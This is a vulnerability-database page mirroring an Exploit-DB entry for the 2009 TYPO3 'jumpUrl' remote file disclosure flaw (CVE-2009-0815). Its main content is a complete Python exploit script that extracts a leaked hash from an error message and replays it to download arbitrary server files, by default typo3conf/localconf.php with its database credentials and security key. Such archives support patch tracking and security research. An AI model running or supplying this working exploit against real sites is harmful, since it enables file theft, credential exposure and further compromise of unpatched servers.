Lucene search
+L

TYPO3 < 4.0.12/4.1.10/4.2.6 - 'jumpUrl' Remote File Disclosure

🗓️ 10 Feb 2009 00:00:00Reported by LolekType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 58 Views

TYPO3 'jumpUrl' Remote File Disclosure exploit by Lolek of TK53. Vendor url: http://typo3.org. Vulnerable versions: TYPO3 < 4.0.12, TYPO3 < 4.1.10, TYPO3 < 4.2.6. Precomputing hashes possible

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-0815
10 Feb 200900:00
circl
CVE
CVE-2009-0815
5 Mar 200902:00
cve
Cvelist
CVE-2009-0815
5 Mar 200902:00
cvelist
Tenable Nessus
Debian DSA-1720-1 : typo3-src - several vulnerabilities
12 Feb 200900:00
nessus
Tenable Nessus
FreeBSD : typo3 -- XSS and information disclosure (cc47fafe-f823-11dd-94d9-0030843d3802)
12 Feb 200900:00
nessus
Tenable Nessus
TYPO3 'jumpUrl' Mechanism Information Disclosure
12 Feb 200900:00
nessus
Dsquare
Typo3 FD
26 Jan 201200:00
dsquare
Github Security Blog
TYPO3 leaks a hash secret in an error message
2 May 202203:18
github
Metasploit
Typo3 sa-2009-002 File Disclosure
15 Mar 200902:32
metasploit
NVD
CVE-2009-0815
5 Mar 200902:30
nvd
Rows per page
#!/usr/bin/env python
#
# ------------------------------------------------------------------------------
# TYPO3-SA-2009-002 exploit by Lolek of TK53 <lolek1337 _at_ gmail.com>
# date: 2009/02/10
# vendor url: http://typo3.org
# vulnerable versions: TYPO3 < 4.2.6, TYPO3 < 4.1.10, TYPO3 < 4.0.12
# usage:
#       typo3-sa-2009-002.py <host> <file> (defaults to typo3conf/localconf.php)
#
# if people fixed their installations but did not update the typo3 security key
# you should be able to precompute the hashes if you previously got the security key.
#
# greetings to milw0rm, roflek

import urllib,re,sys

strip = re.compile(r'.*Calculated juHash, ([a-z0-9]+), did not.*')

def useme():
    print sys.argv[0], '<host> (with http://) <file> (defaults to typo3conf/localconf.php)'
    sys.exit(0)

def parsehash(host, f):
    file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:'})
    url = host + '/index.php?' + file
    try:
        s = urllib.urlopen(url)
        r = s.read()
    except Exception, e:
        print '[!] - ', str(e)
        return None

    tmp = strip.match(r)
    if tmp:
        return tmp.group(1)
    else:
        return None

def content(host, hash, f):
    file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:', 'juHash' : hash})
    url = host + '/index.php?' + file
    try:
        s = urllib.urlopen(url)
        print '[+] - content of:', f
        print s.read()
    except:
        print '[!] - FAIL'

def main():
    if len(sys.argv) < 2:
        useme()

    if len(sys.argv) < 3:
        file = 'typo3conf/localconf.php'
    else:
        file = sys.argv[2]

    print '[+] - TYPO3-SA-2009-002 exploit by Lolek of TK53'
    print '[+] - checking typo3 installation on...'

    hash = parsehash(sys.argv[1], file)

    if not hash:
        print '[!] - version already fixed or 42 went wrong while trying to get the hash'
        sys.exit(234)

    content(sys.argv[1], hash, file)


if __name__ == '__main__':
    main()

# milw0rm.com [2009-02-10]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Feb 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.42227
58